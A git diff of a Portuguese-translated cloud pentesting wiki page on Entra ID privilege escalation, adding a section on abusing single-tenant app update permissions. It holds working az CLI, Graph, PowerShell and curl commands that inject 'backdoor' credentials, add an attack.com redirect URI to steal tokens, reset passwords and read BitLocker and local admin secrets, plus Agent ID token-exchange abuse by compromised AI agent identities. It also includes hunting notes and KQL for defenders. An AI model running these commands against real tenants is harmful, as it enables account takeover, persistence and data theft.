diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index f492bc38a..201c96e7d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -9,7 +9,7 @@ ### Role: Privileged Role Administrator -This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges. +Esta role contém as permissões granulares necessárias para poder atribuir roles a principals e conceder mais permissions a roles. Ambas as ações podem ser abusadas para escalar privilégios. - Assign role to a user: ```bash @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Adicionar mais permissões a um role: +- Adicionar mais permissões a uma role: ```bash # List only custom roles az rest --method GET \ @@ -59,15 +59,46 @@ az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` +### `microsoft.directory/applications.myOrganization/allProperties/update` + +Esta permissão concede atualização para **toda propriedade gravável** de qualquer registro de aplicativo **single-tenant** (`signInAudience = AzureADMyOrg`), incluindo `passwordCredentials` e `keyCredentials`. Ela é marcada como `IsPrivileged: true` no catálogo, mas **não** está presente em nenhuma built-in role — ela aparece quase exclusivamente em **custom roles** que um admin cria para delegar "manage our internal apps" sem perceber que o subtipo `.myOrganization` acaba restringindo a ação exatamente ao conjunto de apps com maior chance de conter permissões privilegiadas do Microsoft Graph. + +- Enumerate apps with privileged Microsoft Graph permissions consented: +```bash +# SPs with at least one Microsoft Graph app role assigned +GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv) +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \ +--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \ +-o table + +# Resolve a RoleId to the human-readable permission name +az ad sp show --id 00000003-0000-0000-c000-000000000000 \ +--query "appRoles[?id==''].value" -o tsv +``` +- Confirme que o target é single-tenant (dentro do escopo do subtipo `.myOrganization`): +```bash +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \ +--query "{audience:signInAudience, name:displayName}" +# audience must be "AzureADMyOrg" +``` +- Injetar uma credencial na app alvo — o único passo privilegiado na cadeia: +```bash +az rest --method POST \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \ +--headers "Content-Type=application/json" \ +--body '{"passwordCredential":{"displayName":"backdoor"}}' +``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Isso permite as mesmas ações que `applications/credentials/update`, mas com escopo para aplicações de um único diretório. +Isso permite as mesmas ações que `applications/credentials/update`, mas limitado a aplicações de um único diretório. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Ao adicionar a si mesmos como owner, um atacante pode manipular a application, incluindo credentials e permissions. +Ao se adicionar como owner, um atacante pode manipular a application, incluindo credentials e permissions. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,24 +108,24 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Um atacante pode adicionar um redirect URI a applications que estão sendo usadas por users do tenant e depois compartilhar com eles login URLs que usam o novo redirect URL para roubar seus tokens. Note que, se o user já estiver autenticado na application, a autenticação será automática, sem o user precisar aceitar nada. +Um atacante pode adicionar um URI de redirecionamento a aplicações que estão sendo usadas por usuários do tenant e então compartilhar com eles URLs de login que usem o novo URL de redirecionamento para roubar seus tokens. Note que, se o usuário já estiver autenticado na aplicação, a autenticação ocorrerá automaticamente sem o usuário precisar aceitar nada. -Note que também é possível alterar as permissions que a application solicita para obter mais permissions, mas, nesse caso, o user precisará aceitar novamente o prompt que pede todas as permissions. +Note que também é possível alterar as permissões que a aplicação solicita para obter mais permissões, mas, neste caso, o usuário precisará aceitar novamente o prompt que solicita todas as permissões. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -### Applications Privilege Escalation +### Escalada de Privilégios de Applications -**Como explicado em [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que tinham **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um user context (sem um user login into the app), e sem precisar de Entra ID roles para अनुमति-la. Portanto, é muito comum encontrar **high privileged applications em every Entra ID tenant**. +**Como explicado neste [post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que tinham **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um user login na app), e sem precisar de roles do Entra ID para अनुमति-la. Portanto, é muito comum encontrar **aplicações com alto privilégio em cada tenant do Entra ID**. -Então, se um attacker tem qualquer permission/role que permita **update the credentials (secret o certificate) of the application**, o attacker pode gerar uma nova credential e então usá-la para **authenticate as the application**, obtendo todas as permissions que a aplicação tem. +Então, se um atacante tiver qualquer permission/role que permita **atualizar as credentials (secret o certificate) da aplicação**, o atacante pode gerar uma nova credential e então usá-la para **autenticar como a aplicação**, obtendo todas as permissions que a aplicação possui. -Note que o blog mencionado compartilha algumas **API permissions** de common Microsoft default applications, porém algum tempo depois desse report a Microsoft corrigiu esse issue e agora não é mais possível fazer login como Microsoft applications. No entanto, ainda é possível encontrar **custom applications with high privileges that could be abused**. +Note que o blog mencionado compartilha algumas **API permissions** de aplicações padrão comuns da Microsoft; porém, algum tempo após este report, a Microsoft corrigiu esse issue e agora não é mais possível fazer login como aplicações da Microsoft. No entanto, ainda é possível encontrar **custom applications com altos privilégios que podem ser abused**. -How to enumerate the API permissions of an application: +Como enumerar as API permissions de uma aplicação: ```bash # Get "API Permissions" of an App ## Get the ResourceAppId @@ -125,7 +156,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Encontre todas as permissões de API das aplicações e marque as APIs de propriedade da Microsoft +Encontrar todas as permissões de API das aplicações e marcar as APIs de propriedade da Microsoft ```bash #!/usr/bin/env bash set -euo pipefail @@ -246,27 +277,27 @@ Isso permite que um atacante adicione credentials a service principals existente az ad sp credential reset --id --append ``` > [!CAUTION] -> A nova senha gerada não aparecerá no web console, então isso pode ser uma forma stealth de manter persistence sobre um service principal.\ -> Da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> A nova senha gerada não vai aparecer no web console, então isso pode ser uma forma stealth de manter persistence sobre um service principal.\ +> Pela API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permission (`microsoft.directory/applications/allProperties/update`) que permite executar: +Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite executar: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`) -**Agent identity blueprints** são application objects e cada blueprint também cria um **agent identity blueprint principal** no tenant. **Agent identities** são service-principal-derived children desse blueprint path. Therefore, se um attacker conseguir **add a password/certificate to the blueprint** ou já tiver roubado uma de suas credentials, ele pode depois authenticate como o **blueprint principal** e request tokens para child agent identities. +**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Portanto, se um atacante conseguir **adicionar uma password/certificate ao blueprint** ou já tiver roubado uma de suas credentials, ele pode depois autenticar como o **blueprint principal** e request tokens para child agent identities. -Isso transforma uma bad Entra Agent ID role assignment em: +Isso transforma uma má atribuição de role do Entra Agent ID em: - **Persistence**: o novo `passwordCredential` permanece no blueprint até ser removido -- **Privilege escalation**: um low-trust/dev agent pode cross into a different high-trust blueprint e então act as its child agents +- **Privilege escalation**: um agent de baixa confiança/dev pode atravessar para um blueprint diferente de alta confiança e então agir como seus child agents -Typical dangerous paths are: +Os caminhos típicos perigosos são: -- Um compromised agent identity com **`AgentIdentityBlueprint.AddRemoveCreds.All`** -- Um compromised owner/sponsor/admin capaz de manage the blueprint -- Theft de um existing blueprint secret/certificate +- Um agent identity comprometido com **`AgentIdentityBlueprint.AddRemoveCreds.All`** +- Um owner/sponsor/admin comprometido capaz de manage o blueprint +- Roubo de um existing blueprint secret/certificate Add a new secret to the target blueprint: ```bash @@ -280,7 +311,7 @@ Ou com Microsoft Graph PowerShell: $params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } } Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params ``` -Se a nova credencial for aceita, autentique-se como o **blueprint principal** e abuse do Agent ID token exchange. A primeira request usa a credencial do blueprint e define **`fmi_path`** para a identidade do agent alvo. O token retornado é então reutilizado como um **JWT bearer `client_assertion`** para obter um Microsoft Graph token para essa identidade do agent. +Se a nova credencial for aceita, autentique-se como o **blueprint principal** e abuse do Agent ID token exchange. A primeira request usa a credencial do blueprint e define **`fmi_path`** para a identidade do agente alvo. O token retornado é então reutilizado como um **JWT bearer `client_assertion`** para obter um Microsoft Graph token para essa identidade de agente. ```bash curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ -H 'Content-Type: application/x-www-form-urlencoded' \ @@ -301,9 +332,9 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ --data-urlencode 'scope=https://graph.microsoft.com/.default' ``` > [!CAUTION] -> Se um blueprint de **dev** ou seu child agent pode adicionar credentials a um blueprint de **prod**, o attacker cruza o trust boundary esperado entre blueprint/agent e ganha acesso duradouro à target agent infrastructure. +> Se um blueprint de **dev** ou seu agente filho pode adicionar credenciais a um blueprint de **prod**, o atacante cruza a fronteira de confiança esperada entre blueprint/agente e ganha acesso durável à infraestrutura do agente alvo. -Quick validation / scoping: +Validação rápida / scoping: ```powershell $sp = Get-MgBetaServicePrincipal -ServicePrincipalId $sp.AdditionalProperties['@odata.type'] @@ -315,18 +346,18 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '' } ``` Notas de hunting: -- Procure por **`Update application – Certificates and secrets management`** em [Az - Monitoring](../../az-services/az-monitoring.md) +- Procure **`Update application – Certificates and secrets management`** em [Az - Monitoring](../../az-services/az-monitoring.md) - Correlacione **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** e **`AADServicePrincipalSignInLogs`** usando tempo, service principal ID, user-agent, IP e `SignInActivityId` / `UniqueTokenIdentifier` - Em `MicrosoftGraphActivityLogs`, verifique `RequestUri` terminando em **`/applications//microsoft.graph.addPassword`** e se `Roles` contém **`AgentIdentityBlueprint.AddRemoveCreds.All`** - Em `AADServicePrincipalSignInLogs`, revise `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` e se a nova key foi usada depois -KQL mínima para ver se o secret recém-adicionado autenticou: +Minimal KQL to see whether the newly added secret authenticated: ```kusto AADServicePrincipalSignInLogs | where ServicePrincipalCredentialKeyId == "" | project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName ``` -Isso está relacionado ao [application credential abuse](../../az-services/az-azuread.md#applications) genérico e à [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), mas Entra Agent ID adiciona uma segunda etapa em que o blueprint credential pode ser trocado por um **different agent identity token**. +Isso está relacionado com [application credential abuse](../../az-services/az-azuread.md#applications) genérico e [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), mas Entra Agent ID adiciona uma segunda etapa onde o blueprint credential pode ser trocado por um **different agent identity token**. ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` @@ -336,7 +367,7 @@ az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Assim como em applications, esta permission permite adicionar mais owners a um service principal. Possuir um service principal permite controlar suas credentials e permissions. +Semelhante a applications, esta permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions. ```bash # Add new owner spId="" @@ -354,13 +385,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Após adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para apagar o owner. Então, você **não pode remover owners atualmente**. +> Depois de adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Então, você **não pode remover owners atualmente**. ### `microsoft.directory/servicePrincipals/disable` and `enable` -These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. +Essas permissões permitem desabilitar e habilitar service principals. Um attacker pode usar essa permissão para habilitar um service principal ao qual ele consiga obter acesso de alguma forma para escalar privilégios. -Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. +Observe que, para essa técnica, o attacker precisará de mais permissões para conseguir assumir o controle do service principal habilitado. ```bash # Disable az ad sp update --id --account-enabled false @@ -370,7 +401,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications. +Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir acesso a aplicações de terceiros. ```bash # Generate SSO creds for a user or a group spID="" @@ -404,22 +435,22 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/owners/update` -Esta permissão permite tornar-se owner de groups. Um owner de um group pode controlar a membership e as configurações do group, potencialmente escalando privilégios para o group. +Esta permissão permite tornar-se owner de grupos. Um owner de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios para o grupo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Esta permissão exclui Entra ID role-assignable groups. +**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. ### `microsoft.directory/groups/members/update` -Esta permissão permite adicionar membros a um group. Um attacker poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. +Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition. +Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir ele mesmo em grupos privilegiados sem adição explícita. ```bash groupId="" az rest --method PATCH \ @@ -434,7 +465,7 @@ az rest --method PATCH \ ### Dynamic Groups Privesc -Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, confira: +Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, consulte: {{#ref}} dynamic-groups.md @@ -444,7 +475,7 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um possível atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a custom roles. +Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um potencial atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a custom roles. ```bash # Update user password userId="" @@ -464,7 +495,7 @@ az rest --method PATCH \ ``` ### `microsoft.directory/users/basic/update` -Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base em valores de propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessária para ser membro de um grupo dinâmico específico e escalar privilégios. +Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base em valores de propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessária para se tornar membro de um grupo dinâmico específico e escalar privilégios. ```bash #e.g. change manager of a user victimUser="" @@ -482,7 +513,7 @@ az rest --method PATCH \ ``` ## Conditional Access Policies & MFA bypass -Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas, verifique: +Políticas de conditional access mal configuradas que exigem MFA podem ser burladas, verifique: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Esta permissão permite que atacantes se atribuam como owners de devices para ganhar controle ou acesso a configurações e dados específicos do device. +Essa permissão permite que atacantes se atribuam como owners de devices para ganhar controle ou acesso a configurações e dados específicos do device. ```bash deviceId="" userId="" @@ -514,7 +545,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Esta permissão permite que atacantes leiam as propriedades das credenciais da conta de administrador local backupadas para dispositivos Microsoft Entra joined, incluindo a senha +Essa permissão permite que attackers leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos Microsoft Entra joined, incluindo a password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -529,7 +560,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Esta permissão permite acessar chaves BitLocker, o que pode permitir que um atacante descriptografe unidades, comprometendo a confidencialidade dos dados. +Esta permissão permite acessar as chaves BitLocker, o que poderia permitir que um atacante descriptografasse drives, comprometendo a confidencialidade dos dados. ```bash # List recovery keys az rest --method GET \ @@ -550,7 +581,7 @@ az rest --method GET \ - `microsoft.directory/applications/appRoles/update` - `microsoft.directory/applications.myOrganization/permissions/update` -## Referências +## References - [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/) - [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)